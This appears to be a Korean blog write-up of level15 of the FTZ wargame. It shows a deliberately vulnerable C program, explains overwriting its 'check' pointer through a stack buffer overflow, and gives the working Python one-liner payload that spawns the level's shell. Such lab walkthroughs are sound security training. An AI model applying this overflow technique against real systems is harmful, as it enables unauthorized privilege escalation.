ftz

level15

oogu ㅣ 2022. 9. 12. 14:02

#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

level14 와 비슷하지만 check 변수가 포인터이다. 따라서 0xdeadbeef 문자열이 존재하는 주소를 check 변수에 넣어야한다.

[그림 1-1]
[그림 1-2]

[그림 1-1] 참조하면 [그림 1-2]  그릴 수 있다.

payload 는 "A" * 40 + 0xdeadbeef 문자열 주소

따라서 0xdeadbeef 문자열 위치를 찾아야한다.

[그림 1-3]

main 어셈블리를 보면 0x080484b0 위치에 0xdeadbeef 가 있다.

[그림 1-4]

0x080484b2 위치에 문자열이 존재한다.

(python -c 'print("A"*40+"\xb2\x84\x04\x08")';cat) | ./attackme

[그림 1-5]

성공

'ftz' 카테고리의 다른 글

level17  (0) 2022.09.12
level16  (0) 2022.09.12
level14  (0) 2022.09.12
level13  (0) 2022.09.12
level12  (0) 2022.09.11